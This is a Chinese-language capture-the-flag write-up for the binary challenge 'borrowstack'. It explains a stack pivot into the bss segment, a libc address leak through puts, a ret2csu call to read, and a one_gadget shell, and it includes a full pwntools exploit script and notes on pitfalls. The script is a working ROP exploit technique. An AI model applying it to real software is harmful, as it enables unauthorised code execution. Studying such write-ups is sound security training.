gyctf_2020_borrowstack wp
常规检查
题目分析
两个 read 函数,第一个 buf 只能栈溢出至 ret ,第二个 bank 在 bss 段中,所以思路很明显,要栈迁移到 bss 段中
有 puts 函数和 read 函数,所以我们可以先用 puts 函数泄露出 libc 地址,然后用 read 函数写入
有万能函数,能让我们设置 read 函数的参数
解题思路
现在思路就很明确了
1.首先在 bank 中写入泄露 puts 函数地址的 rop
2.运用双 leave 将栈迁移 到 bss 段
3.泄露函数基址后计算出 one_gadget 地址,用万能函数调用 read 写入 one_gadget
4.再次运用 leave 将 esp 劫持至 one_gadget 处
exp 脚本
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io = process('./borrowstack')
elf = ELF('./borrowstack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
mov_call = 0x4006e0
pop6 = 0x4006fa
pop_rdi = 0x400703
io.recvuntil('Tell me what you want')
payload = 'a' * 0x60
payload += p64(0x6010c0)
payload += p64(0x400699)
sleep(0.5)
io.send(payload)
payload1 = p64(0x6010b8)
payload1 += p64(0) * 8
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(pop6)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(read_got)
payload1 += p64(0x100)
payload1 += p64(0x6010c0)
payload1 += p64(0)
payload1 += p64(mov_call)
payload1 += p64(0)*2
payload1 += p64(0x6010b8)
payload1 += p64(0)*4
payload1 += p64(0x400699)
io.recvuntil('You can check and use your borrow stack now!')
sleep(0.5)
io.send(payload1)
puts_addr = io.recvuntil('\x7f')[-6:].ljust(8,'\x00')
print hex(u64(puts_addr))
libcbase = u64(puts_addr) - libc.symbols['puts']
one_gadget = libcbase + 0xf1147
#system = libcbase + libc.symbols['system']
#binsh = libcbase + libc.search('/bin/sh').next()
#payload2 = p64(pop_rdi)
#payload2 += p64(binsh)
#payload2 += p64(system)
payload2 = p64(one_gadget)
sleep(0.5)
io.send(payload2)
io.interactive()
get shell
坑
第一个坑是 bss 段离 got 表太近了,导致后面调用函数的时候会覆盖 got 表,导致调用 read 函数失败。解决方法是栈迁移时地址再往高点移。
第二个坑是泄露地址后要返回 main 函数来调用 read 函数的话,会因为 main 里有个 sub rsp,60h 到时和第一个坑一样的问题,got 表被覆盖。解决方法是用万能函数调用 read 。
第三个坑是这题用 system("/bin/sh") 拿 shell 的话 sytem 运行过程中会报错。解决方法是换成 one_gadget 拿 shell。